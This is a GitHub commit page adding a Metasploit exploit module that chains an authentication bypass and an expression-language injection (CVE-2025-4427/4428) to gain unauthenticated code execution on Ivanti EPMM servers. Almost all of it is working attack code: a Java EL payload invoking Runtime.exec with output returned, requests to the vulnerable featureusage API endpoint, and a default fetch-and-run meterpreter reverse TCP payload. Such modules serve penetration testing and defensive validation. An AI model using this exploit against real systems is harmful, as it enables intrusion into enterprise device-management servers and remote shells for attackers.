Skip to content

Commit 704e498

Browse files
authored
Add ivanti_epmm_rce_cve_2025_4427_4428.rb
Add a module for CVE-2025-4427 and CVE-2025-4428, unauthenticated RCE chain in Ivanti EPMM.
1 parent a847038 commit 704e498

File tree

1 file changed

+142
-0
lines changed

1 file changed

+142
-0
lines changed
Lines changed: 142 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,142 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
prepend Msf::Exploit::Remote::AutoCheck
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution',
17+
'Description' => %q{
18+
This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
19+
tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
20+
access to an administrator web API endpoint, which allows for code execution via expression
21+
language injection. This module executes in the context of the 'tomcat' user. This module
22+
should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [
26+
'CERT-EU', # Original discovery
27+
'Sonny Macdonald & Piotr Bazydlo', # First published PoC
28+
'remmons-r7' # MSF Exploit
29+
],
30+
'References' => [
31+
['CVE', '2025-4427'],
32+
['CVE', '2025-4428'],
33+
# Advisory
34+
['URL', 'https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US'],
35+
# First published PoC
36+
['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428'],
37+
# Non-blind payload
38+
['URL', 'https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability']
39+
],
40+
'DisclosureDate' => '2025-05-13',
41+
# Runs as the 'tomcat' user
42+
'Privileged' => false,
43+
'Platform' => ['unix', 'linux'],
44+
'Arch' => [ARCH_CMD],
45+
'DefaultTarget' => 0,
46+
'Targets' => [ [ 'Default', {} ] ],
47+
'DefaultOptions' => {
48+
# cwd is not writable, so use /var/tmp, which is on an executable partition and can be written to
49+
'FETCH_WRITABLE_DIR' => '/var/tmp',
50+
# After updating Metasploit, the payload began defaulting to aarch64 for some reason
51+
# Specifying x64 here to ensure a sane default
52+
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
53+
},
54+
'Notes' => {
55+
# Confirmed to work multiple times in a row and concurrently
56+
'Stability' => [CRASH_SAFE],
57+
'Reliability' => [REPEATABLE_SESSION],
58+
'SideEffects' => [IOC_IN_LOGS]
59+
}
60+
)
61+
)
62+
63+
register_options(
64+
[
65+
Opt::RPORT(443),
66+
OptString.new('TARGETURI', [true, 'The base path to Ivanti EPMM', '/']),
67+
OptBool.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true])
68+
]
69+
)
70+
end
71+
72+
def check
73+
# Execute 'id' to check if target is vulnerable (version check via exploitation, best known approach)
74+
resp = execute_command('id')
75+
return CheckCode::Unknown('Failed to get a response from the target') unless resp
76+
77+
# The response body format will vary across versions, so check for presence of 'id' output
78+
if resp.body.include?('uid=') && resp.body.include?('gid=')
79+
return CheckCode::Vulnerable('Successfully executed command')
80+
else
81+
return CheckCode::Safe('Target does not appear to be vulnerable - command output not returned')
82+
end
83+
end
84+
85+
def execute_command(cmd)
86+
# Since the execution context only supports one command at a time, split on fetch payload semicolons
87+
commands = cmd.split(';')
88+
resp = nil
89+
90+
commands.each_with_index do |command, index|
91+
command = command.strip
92+
next if command.empty?
93+
94+
# An update to Metasploit in early 2025 changed the way that fetch payloads are constructed
95+
# Previously, fetch payloads appended " &" to the execution command, but now only "&" is appended
96+
# For example, "/var/tmp/EHDjrJnB &" -> "/var/tmp/EHDjrJnB&"
97+
# The expression language execution context doesn't like it unless there's a space, so we add one
98+
command = command.gsub('&', ' &')
99+
100+
vprint_status("Payload pt. #{index + 1}/#{commands.length}: #{command}")
101+
102+
# Non-blind payload reportedly being used in the wild, returns stdout in response body
103+
payload = "${''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')).newInstance(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('#{command}').getInputStream()).useDelimiter('%5C%5CA').next()}"
104+
105+
vprint_status("Sending template payload: #{payload}")
106+
107+
resp = send_request_cgi(
108+
'method' => 'GET',
109+
# There are multiple API endpoint targets, but this works on MobileIron Core and the rebranded EPMM
110+
'uri' => normalize_uri(target_uri.path, 'mifs', 'rs', 'api', 'v2', 'featureusage'),
111+
'vars_get' => {
112+
'format' => payload
113+
},
114+
# Setting this timeout lower than the default, since the third request will not receive a response
115+
# Per https://github.com/rapid7/metasploit-framework/issues/12004
116+
'timeout' => 7.5
117+
)
118+
119+
# The third fetch payload command (executing meterpreter) should hang and fail to respond
120+
# If there's no response and it's not the third fetch payload, the exploit failed
121+
if index != 2
122+
unless resp
123+
fail_with(Failure::Unknown, "Failed to execute command pt #{index + 1}: #{command}")
124+
end
125+
126+
vprint_status("Command pt #{index + 1} response: #{resp.body}")
127+
128+
else
129+
vprint_status('No command pt 3 response expected')
130+
end
131+
end
132+
133+
resp
134+
end
135+
136+
def exploit
137+
# We pass the encoded payload to execute_command
138+
# That will split it up into three commands to execute, and it'll also handle error conditions
139+
vprint_status('Attempting to execute payload')
140+
execute_command(payload.encoded)
141+
end
142+
end

0 commit comments

Comments
 (0)